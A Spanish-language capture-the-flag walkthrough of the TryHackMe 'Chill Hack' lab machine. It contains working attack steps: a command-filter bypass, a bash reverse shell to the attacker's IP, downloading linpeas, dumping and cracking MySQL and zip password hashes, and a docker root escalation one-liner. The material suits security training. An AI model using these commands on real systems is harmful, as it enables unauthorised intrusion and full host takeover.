Chill Hack


March 1, 20239 minutes

https://tryhackme.com/room/chillhack

IP Atacante = 10.10.10.10

IP víctima = 10.10.11.182

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

$ ping -c 1 10.10.11.182
PING 10.10.11.182 (10.10.11.182) 56(84) bytes of data.
64 bytes from 10.10.11.182: icmp_seq=1 ttl=61 time=558 ms

--- 10.10.11.182 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 558.208/558.208/558.208/0.000 ms

En este caso da un ttl (time to live) de 61, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.182 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

$ extractPorts allPorts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.11.182
   5   │     [*] Open ports: 21,22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

$ nmap -p21,22,80 -sC -sV 10.10.11.182 -oN versions
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-01 19:15 CET
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.2.28.215
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 09f95db918d0b23a822d6e768cc20144 (RSA)
|   256 1bcf3a498b1b20b02c6aa551a88f1e62 (ECDSA)
|_  256 3005cc52c66f6504860f7241c8a439cf (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Game Info
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

FTP

Lo primero que nos reporta nmap es que el usuario anonymous está permitido y hay un archivo llamado note.txt.

$ ftp 10.10.11.182                     # Nos conectamos por ftp
Connected to 10.10.11.182.                      
220 (vsFTPd 3.0.3)
Name (10.10.11.182:d3b0o): anonymous   # Con el usuario anonymous
331 Please specify the password.
Password:                              # Sin contraseña
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||8911|)
150 Here comes the directory listing.
-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
226 Directory send OK.
ftp> get note.txt                      # Nos lo pasamos a nuestra máquina
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||15616|)
150 Opening BINARY mode data connection for note.txt (90 bytes).
100% |*****************************************************************************|    90       28.28 KiB/s    00:00 ETA
226 Transfer complete.
90 bytes received in 00:00 (0.29 KiB/s)

Contenido de el archivo note.txt

Anurodh told me that there is some filtering on strings being put in the command – Apaar

De esta nota podemos sacar 2 posibles usuarios

  • Apaar
  • Anurodh

HTTP

Subdirectorios

Para encontrar subdirectorios vamos a usar la herramienta gobuster con el siguiente comando

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.182/

/images               (Status: 301) [Size: 313] [--> http://10.10.11.182/images/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.182/css/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.182/js/]
/fonts                (Status: 301) [Size: 312] [--> http://10.10.11.182/fonts/]
/secret               (Status: 301) [Size: 313] [--> http://10.10.11.182/secret/]

Hay un subdirectorio que a simple vista llama la atención /secret

Al entrar vemos que podemos ejecutar comandos.

Probando comandos podemos ver que hay algunos que los bloquea…

Intrusión

Al poner un comando válido, como por ejemplo pwd, “;” y un comando bloqueado, nos ejecuta los 2.

De tal forma que quedaría así: pwd;ls

Otra opción sería poner “\” antes del comando, porejemplo \ls

Ahora lo que vamos a hacer es mandarnos una reverse shell desde la máquina víctima a la nuestra.

Lo primero va a ser ponerse en escucha por el puerto 443 con nc

nc -nlvp 443

Y después vamos a mandar desde la web el siguiente comando:

#                           Puerto
pwd;bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
#                 IP Atacante

Recibimos la reverse shell!

$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.2.28.215] from (UNKNOWN) [10.10.11.182] 57032
bash: cannot set terminal process group (1022): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/secret$ 

Con un ip a podemos comprobar que estamos en la 10.10.11.182

www-data@ubuntu:/var/www/html/secret$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:36:f5:10:cb:37 brd ff:ff:ff:ff:ff:ff
    inet 10.10.11.182/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 3363sec preferred_lft 3363sec
    inet6 fe80::36:f5ff:fe10:cb37/64 scope link 
       valid_lft forever preferred_lft forever

Tratamiento de la tty

Antes de nada para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm

Escalada de privilegios

Apaar

Con un sudo -l vemos que podemos ejecutar el archivo .helpline.sh que está en el /home/apaar/ como apaar

www-data@ubuntu:/var/www/html/secret$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
www-data@ubuntu:/var/www/html/secret$ 

Antes de nada vamos a ver el contenido del ese archivo

#!/bin/bash

echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo

read -p "Enter the person whom you want to talk with: " person

read -p "Hello user! I am $person,  Please enter your message: " msg

$msg 2>/dev/null

echo "Thank you for your precious time!"

Es un programa muy simple, en el segundo input guarda la respuesta en una variable llamada msg y la ejecuta…

www-data@ubuntu:/var/www/html/secret$ sudo -u apaar /home/apaar/.helpline.sh

Welcome to helpdesk. Feel free to talk to anyone at any time!

Enter the person whom you want to talk with: test
Hello user! I am test,  Please enter your message: bash
whoami
apaar

Para que nos salga el prompt y nos funcione el ctrl + l, etc… podemos poner el siguiente comando

script /dev/null -c bash

Anurodh

mysql (rabbit hole)

Para la escalada vamos a usar la herramienta https://linpeas.sh/ que es un script que automatiza el proceso de la escalada de privilegios

Primero nos lo pasamos a nuestra máquina

Después nos montamos un servidor con python por el puerto 80

sudo python3 -m http.server 80

Desde la máquina víctima en el directorio /tmp nos pasamos el archivo.

wget http://10.10.10.10/linpeas.sh

Le damos permisos de ejecución con chmod

chmod +x linpeas.sh

Y lo ejecutamos ./linpeas.sh

Reporta que hay 2 puertos que solo son visibles desde el localhost

tcp        0      0 127.0.0.1:9001          0.0.0.0:*               LISTEN             
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN

Esto lo podríamos haber encontrado tambíen con:

apaar@ubuntu:/tmp$ (netstat -punta || ss --ntpu) | grep "127.0"
(No info could be read for "-p": geteuid()=1001 but you should be root.)
tcp        0      0 127.0.0.1:9001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -  

El puerto 3306 es el puerto predeterminado de mysql

Dentro del directorio /var/www/files hay un archivo llamado index.php en el cual hay unas credenciales para mysql

Las cuales podemos usar para conectarnos

apaar@ubuntu:/var/www/files$ mysql -u root -p
Enter password: 
mysql>

Primero listamos las bases de datos

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| webportal          |
+--------------------+
5 rows in set (0.00 sec)

Después listamos las tablas de la base de datos webportal

mysql> show tables from webportal;
+---------------------+
| Tables_in_webportal |
+---------------------+
| users               |
+---------------------+
1 row in set (0.00 sec)

Por último vemos el contenido de la tabla

mysql> use webportal
mysql> select * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username  | password                         |
+----+-----------+----------+-----------+----------------------------------+
|  1 | Anurodh   | Acharya  | Aurick    | 7e53614ced3640d5de23f111806cc4fd |
|  2 | Apaar     | Dahal    | cullapaar | 686216240e5af30df0501e53c789a649 |
+----+-----------+----------+-----------+----------------------------------+
2 rows in set (0.00 sec)

Podemos ver que está el hash de dos usuarios

Con hash-identifier buscamos que tipo es

$ hash-identifier 7e53614ced3640d5de23f111806cc4fd

Possible Hashs:
[+] MD5

Vamos a guardar cada uno en un archivo (hash1, hash2) y usando john con el diccionario rockyou vamos a intentar encontrar la contraseña

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash1

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash2

Parece que era una trampa porque no sirven para nada :)

Steganography

Dentro del directorio /var/www/files hay un archivo llamado hacker.php el cual llama la atención

Dentro del hacker.php:

<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>

Hay un mensaje que dice: Has llegado muy lejos, Mira en la oscuridad y econtraras la respuesta

Arriba del mensaje hay una foto, la cual puede ser que tenga algo

Para pasarla a nuestra máquina vamos a abrirnos un servidor con python desde la máquina víctima

python3 -m http.server

Y desde nuestra máquina nos la bajamos

wget http://10.10.11.182:8000/hacker-with-laptop_23-2147985341.jpg

Para ver si tiene algo oculto vamos a usar la herramienta steghide

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

La imagen contenia un backup.zip

El backup.zip está protegido con una contraseña, lo que vamos a hacer es sacarle el hash y después intentar romperlo con john mediante el diccionario rockyou.txt

zip2john backup.zip > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash

Ahora ya tenmos la contraseña y lo podemos descomprimir.

Dentro hay un php en el cual en una línea podemos ver que hay una condición con un base64

if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")

Podemos descifrarlo con:

echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d

El resultado es la contraseña del usuario anurodh

Root

Al hacer un id vemos que pertenecemos al grupo de docker

anurodh@ubuntu:/var/www/files/images$ id 
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)

Echando un ojo al gtfobins podemos ver que hay un comando para escalar privilegios con docker

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Ya somos root :)